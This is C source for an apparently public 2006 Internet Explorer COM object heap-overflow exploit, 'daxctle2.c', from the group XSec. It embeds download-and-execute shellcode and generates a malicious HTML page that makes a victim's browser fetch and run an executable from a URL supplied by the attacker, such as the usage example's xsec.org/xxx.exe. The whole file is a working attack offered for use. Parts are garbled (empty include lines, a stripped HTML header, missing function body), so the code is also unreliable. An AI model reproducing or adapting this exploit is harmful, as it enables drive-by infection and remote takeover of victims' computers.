/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec
Exploit
* !!! 0day !!! Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author : nop
* : nop#xsec.org
* : http://www.xsec.org 
* :
* Tested : Windows 2000 Server SP4 CN
* : + Internet Explorer 6.0 SP1
* : Windows XP SP2 CN
* : + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
* :
* Complie : cl daxctle2.c
* :
* Usage :d:\>daxctle2
* :
* :Usage: daxctle  [htmlfile]
* :
* :d:\>daxctle2 http://xsec.org/xxx.exe xxx.htm 
* :
*
*------------------------------------------------------------------------
*/

#include 
#include 

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] "\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";

char * header "\n"
"\n"
"\n"
"\n"
"\n"
"\n"
"\n"
"\n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
int i,j;
char *p;
char msg[4];

for(i=0;ihttp://www.xsec.org\n"); 
//printf("!!! 0Day !!! Please Keep Private!!!\n");
printf("\r\nUsage: %s  [htmlfile]\r\n\n", argv[0]);
exit(1);
}

url = argv[1];

//if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) 
< 10 || strlen(url) > 60)
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10) 
{
//printf("[-] Invalid url. Must start with 'http://','ftp://' and < 60 
bytes.\n");
printf("[-] Invalid url. Must start with 'http://','ftp://'\n"); 
return;
}

printf("[+] download url:%s\n", url);

if(argc >=3) file = argv[2];
printf("[+] exploit file:%s\n", file);

fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!\n");
return;
}

// print html header
fprintf(fp, "%s", header);
fflush(fp);

// print shellcode
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));

sc_len += strlen(url)+1;
PrintUc(buf, sc_len);

// print html footer
fprintf(fp, "%s", footer);
fflush(fp);

printf("[+] exploit write to %s success!\n", file);
}